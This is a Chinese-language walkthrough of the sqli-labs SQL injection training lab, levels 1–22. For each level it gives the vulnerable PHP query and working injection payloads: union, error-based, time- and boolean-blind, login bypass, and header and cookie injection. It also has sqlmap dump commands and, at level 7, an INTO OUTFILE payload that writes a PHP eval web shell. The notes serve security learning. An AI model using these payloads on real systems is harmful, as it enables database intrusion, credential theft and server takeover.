1. 浏览器发送请求的时候,会将URL末尾的空格舍去,导致-- 无效。我们用--+替代,+字符被URL编码后变成空格。

less-1

  1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

字符型注入,闭合单引号即可。 ?id=-1' union

  1. sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --batch --dbs

发现-C password与id参数一起时,显示结果有误?


less-2

  1. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

数字型注入,不用闭合直接注入。?id=-1 union


less-3

  1. $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

闭合单引号和右括号即可 ?id=1')

  1. sqlmap -u "http://127.0.0.1/sqli-labs/Less-3/?id=1" --prefix "')" --batch -D security -T users -C "id,username,password" --dump

less-4

  1. $id = '"' . $id . '"';
  2. $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

闭合双引号和右括号。 ?id=1")


less-5

  1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  2. $row = mysql_fetch_array($result);
  3. if($row)
  4. {
  5. echo '<font size="5" color="#FFFF00">';
  6. echo 'You are in...........';
  7. echo "<br>";
  8. echo "</font>";
  9. }
  10. else
  11. {
  12. echo '<font size="3" color="#FFFF00">';
  13. print_r(mysql_error());
  14. echo "</br></font>";
  15. echo '<font color= "#0000ff" font size= 3>';
  16. }

盲注,引入新知识点,报错注入。


三种常用的报错注入方式
  1. 通过floor报错> select count(), concat((payload), ‘-‘, floor(rand(0)2)) as a from information_schema.tables group by a;

    将payload换成你想要的东西!

  1. 通过updatexml报错> and updatexml(1,payload,1)

    同样该语句对输出的字符长度也做了限制,其最长输出32位 并且该语句对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效

    1. and updatexml(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+

    显示内容呢有限,得慢慢来。

  1. 通过extractvalue报错> ```sql extractvalue(目标xml文档,xml路径)

    xml路径报错

    正常查询第二个参数的位置格式为 /xxx/xx/xx/xx ,即使查询不到也不会报错

    select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))
    1. > ```sql
    2. and (extractvalue("hahahaha",concat('~',(select @@version))))--+

    显示内容有限只显示32个字符

substring(expression,start,length)

sql函数,截取字符串,二进制字符串,文本,图像,列或包含列的表达式 substring(‘abcd’,1,2) ==>ab


时间延迟型手工注入

时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。 and if(payload,sleep(5),1)--+

  1. IF(expr1,expr2,expr3) ==> expr1?expr2:expr3
  2. // and if(length(database())=8,sleep(5),1)--+
  3. // and if(left(database(),1)='s',sleep(5),1)--+
  4. //and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

布尔型手工注入

在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1 手工注入时可使用例如left((select database()),1)<’t’ 这样的比较二分查找方法快速爆破。

  1. ?id=1' and left((select database()),1)='s'--+

还是用 sqlmap!!!


less-6

闭合双引号,盲注。


less-7

```sql $sql=”SELECT * FROM users WHERE id=((‘$id’)) LIMIT 0,1”; — 闭合太骚气

select * from table into outfile ‘/路径/文件名’; — 写入文件

  1. > 在使用`select into outfile`时只能将语句写入特定的目录,该目录由`secure-file-priv`参数指定,如果为`NULL`则禁止写入。并且该变量是只读的,可以在`my.ini`中指定参数值。`secure-file-priv="D:/XXX"`
  2. > payload:`?id=1')) union select 1,2,'<?php eval($_POST[cmd]); ?\>' into outfile '\\xxx.php'--+`
  3. ---
  4. <a name="38zmy"></a>
  5. #### less-8
  6. > 闭合单引号,基于布尔型的盲注。
  7. substr()
  8. > ```sql
  9. SUBSTR(str,pos,len);

截取字符,注意pos为1(而不是0),从第一个位置开始。

  1. ?id=1' and ((select column_name from information_schema.columns where table_name='users' limit 2,1)='password')--+

less-9

  1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  2. ?id=1' and if(left(database(),1)='a',sleep(5),1)--+
  3. ?id=1' and if(substring(database(),1,1)='s',sleep(5),1)--+

单引号闭合基于时间的盲注。 sqlmap: sqlmap -u "xxx?id=1" --technique T --dbs --batch sqlmap -u "xxx?id=1" --technique T -D security --tables --batch sqlmap -u "xxx?id=1" --technique T -D security -T users --cloumns --batch sqlmap -u "xxx?id=1" --technique T -D security -T users -C username,password --dump --batch


less-10

双引号闭合时间盲注,同上。


less-11

post请求使用--而不能再使用--+,不再通过网址传输

  1. @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

可使用万能密码。

  1. ' or '1'--
  2. ' or '1

也可以使用union联合注入。

  1. ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--

也可使用报错注入。

  1. ' and updatexml(1,concat('/',(select version())),1)--

less-12

双引号和右括号闭合,联合注入。

  1. ") union select 1,2--

less-13

单引号和右括号闭合,报错注入。

  1. ') and (updatexml(1,concat('~',(select version())),1))--

注意payload中只能select 一个字段。 有些时候注意把用户名和登录密码都填上,isset()


less-14

双引号闭合,报错注入。

  1. " and (select 1 from (select count(*),concat((select version()),floor(rand(0)*2)) as a from information_schema.tables group by a)x)--
  1. " and (extractvalue(1,concat('~',(select version()))))--
  1. " and updatexml(1,concat('~',(select version())),1)--

less-15

单引号闭合盲注。 sql中的and和or都是非贪婪的,这个要注意。

  1. ' or 1 and if(length('00')=2,sleep(5),1)--
  1. ' or 1 and length(database())>8 and sleep(5)--
  2. # 这样就可以不使用if来进行判断了

sqlmap

  1. 1. burpsuite抓包,保存txt文本
  2. 2. sqlmap -r xxx.txt -p 注入参数 -technique T --batch

less-16

双引号和右括号闭合,盲注。

  1. ") or sleep(5)--

less-17

单引号闭合,盲注。 ```sql @$sql=”SELECT username, password FROM users WHERE username= $uname LIMIT 0,1”; — 修改密码操作一般包含两个操作,一个查找一个更新

$update=”UPDATE users SET password = ‘$passwd’ WHERE username=’$row1’”;

  1. > 这里对uname字段进行了过滤处理,第一个语句不存在注入漏洞,主要从第二个sql语句入手。
  2. > ```sql
  3. uname=admin&passwd=' or sleep(5)--

手工盲注猜解。

tips:

参数:—prefix,—suffix 在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。 例如,代码中是这样调用数据库的: $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1"; 这时你就需要—prefix和—suffix参数了: sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

参数: —technique B: 基于Boolean的盲注(Boolean based blind)
Q: 内联查询(inlin queries)
T: 基于时间的盲注(time based blind)
U: 联合查询(union query based)
E: 错误(error based)
S: 栈查询(stack queries)


less-18

user-agent单引号报错注入。


less-19

referer单引号注入。


less-20

cookie单引号注入。


less-21

cookie单引号右括号闭合。 cookiebase64加密。


less-22

cookie双引号注入。 base64加密。